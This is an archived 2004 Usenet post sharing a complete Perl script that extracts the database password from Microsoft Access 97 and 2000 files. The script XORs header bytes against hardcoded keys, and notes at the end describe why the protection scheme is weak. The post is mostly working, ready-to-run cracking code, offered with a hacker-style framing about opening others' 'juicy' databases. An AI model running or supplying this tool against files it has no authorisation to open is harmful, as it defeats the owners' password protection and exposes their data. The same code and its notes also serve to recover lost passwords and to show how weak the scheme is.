Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

sKript : updated access 97/2k password recovery

38 views
Skip to first unread message

Lensman

unread,
Sep 21, 2004, 11:19:27 AM9/21/04
to

I think I mentioned that I would look at 2k, I did, and its sucks as
much as 97, slightly longer password (at least 20 chars), interleaved
over (x*2)-1 bytes (where x is the real password length in case I
missed any) with one byte gaps.

The key is different, bu the procedure for recovering it was the same,
eg rip from an unpassworded mdb file.

Theres a lil gotcha in there somewhere though, as if you *change* the
password string, access rumbles you.


Anyway, heres some really nasty code '-)

#!/usr/bin/perl -w

# achax0r.pl - version 0.3 (2k pwd was longer thn I thought)
# hax0r MS Access 97/2k password
# lensman 2004
# information *doesn't* want to be free, but tough titty.
# supplied on a "works for me" basis, if it doesn't work for
# you, hax0r it! (hint, version checking fucking sux0rs)

# NB that perl seems to like you to use "/" as a dir
# seperator even on win32 platforms

# usage achax0r.pl /sekrets/juicy.mdb

# (theres some notes at the end)

# In memoria, MJT, you would have liked this '-)

use strict; # matr0n, the restraints!


my $DB = open_file(); # ooo, lazy '-)
my $VER = get_version($DB); # what version (nasty) ?

my @CIPHER = get_ciphertext($DB,$VER); # read the cipher

my @KEY = keygen($VER); # get the key
my $PASS = decrypt(\@CIPHER, \@KEY); # do the business


print "hax0red : $PASS, may the force be with you '-)\n";


# thats it, nice and easy
# now the gory details '-)


sub decrypt{

# compute the the password
# (NB these *shd* be the same size, or we are broken,
# notice how I am not checking this)

my ($cipher, $key) = @_;
my $plain = '';

# simply XOR the two together
for(my $i=0; $i <= (@$cipher-1); $i++){
$plain .= chr( $key->[$i] ^ ord($cipher->[$i]) );
}
return $plain;
}


sub get_version{

# read a version strng from file, for < 2k, this will
# be blank, and frankly, there has to be a much better
# way, but I'm to tired to look. "Works for me", good enough!

my ($DB) = @_;
seek($DB,156,0);
read($DB, my $ver, 3);

if($ver eq (chr(0) x 3)){ # ouch ! :-( (needs work)
$ver = '97';
}
print "v $ver: \n";
return $ver;

}

sub get_ciphertext{

# get the string that will contain the
# encrypted password (newer vers might cause rework here)
# (this sub does to much)
# NB that we dont always nead 27 bytes, but will
# read them anyway, Johnny 5 need input '-)

my ($DB, $ver) = @_;

seek($DB, 66, 0); # seek position in file
read($DB, my $buf, 27+12); # read 27 bytes (+12 for
# longer 2k pwd, doh!)

my @list = split(//, $buf);
my @cipher;

# for ac2k we only want every other char
# as it uses the same trick but interleaves the data
if($ver eq '4.0'){
for(my $i=0; $i <= $#list; $i++){
if($i % 2 == 0){
push @cipher, $list[$i];
}
}
}
if($ver eq '97' ){
@cipher = @list[0..12]; # discard extraneous chars
}

close $DB; # we're done with this
return @cipher; # bring it on
}

sub open_file{
open(my $DB, $ARGV[0]);
binmode $DB; # needed on win32
return $DB;
}

sub keygen{

# return the desired key

my $ver = $_[0];

# Access 2k password encryption key

if($ver eq '4.0'){
return (0xE1,0xEC,0x3A,0x9C,0xA1,0x28,
0x74,0x8A,0x33,0x7B,0x92,0xDF,0x10,0x13,
0xA8,0xB1,0x53,0x79,0xF5,0x7C # new
);
}

# Access 97 password encyption key

if($ver eq '97' ){
return (0x86,0xFB,0xEC,0x37,0x5D,0x44,
0x9C,0xFA,0xC6,0x5E,0x28,0xE6,0x13);
}

# if we are here, we are confused
# (this check should really be somewhere else)

die "don't know newfangled version $ver key, pshaw!\n";

}

# NOTES on hax0ring access pwords, bwahahah

# 1) Why ?
#
# Good point, there are lots of reasons why you wouldn't need to
# but sometimes, you just might want to, I know its happened to me
#
# Also, it was fun !
#
#
#
# 2) How ?
#
# MS access uses a funny encryption scheme for the database password
# Rather than store a hash, as you would expect (even though it is
# still vulnerable to those with write perms on the file, it would
# have been more sensible, since the hash can not reveal the password,
# you can hax0r in the hash of a password you know, and then put the
# old one back in, but this is tricky and can bork real bad if you
# make a mistake)
#
# Anyway, access 97 takes the first 13 chars of the password you
# enter, and XORs their ascii values against a 13 byte sequence in the
# database header.
#
# This then, is effectively the key, so if we steal it out of an
# unpassworded database, we can then use it to compute the password
# for any database, since all we do is XOR the key against whats
# stored in the database.
#
# Seems a bit weird to me, but then I don't work for Microsft
#
# Anyway, thats pretty much how it works, access 2k makes the usual
# redmondesque attempt at defeating old MS hacks (and lets face it
# if you have $20 you can go online and buy ware like this), by using
# exactly the same technique, but spreading its bytes out, so that
# there are one byte gaps between them, this means that for ac2k we
# have to read more chars and discard the ones we dont want,
# but the result is the same, a string of bytes which we XOR with our
# hax0red key material to reveal the password.

0 new messages